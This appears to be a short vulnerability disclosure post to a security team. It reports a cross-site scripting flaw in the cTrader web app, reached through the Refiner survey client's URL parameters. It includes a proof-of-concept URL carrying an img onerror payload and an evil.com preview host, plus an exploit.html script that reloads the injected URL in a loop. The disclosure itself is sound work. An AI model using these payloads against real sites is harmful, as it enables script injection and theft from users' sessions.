XSS in https://app.ctrader.com
Created at 03 Apr 2025, 09:17
MI
XSS in https://app.ctrader.com
03 Apr 2025, 09:17
hey sec team
there is an xss in ctrader platfrom, the issue lays in refiner survey js client.
see the POC: 
https://ctrader.com/?refiner_debug=true&/#refiner_locale=%3Cimg%20src=x%20onerror=alert(origin)%3E&refiner_preview=http://evil.com
run the following code in exploit.html
<html>
<script>
let win = window.open('https://app.ctrader.com/?refiner_debug=true&refiner_preview=true#refiner_locale=%3Cimg%20src=x%20onerror=alert(origin)%3E')
setInterval(()=>{
win.location.replace('https://app.ctrader.com/?refiner_debug=true&refiner_preview=true#refiner_locale=<img src=x onerror=alert(1)>')
},1)
</script>
</html>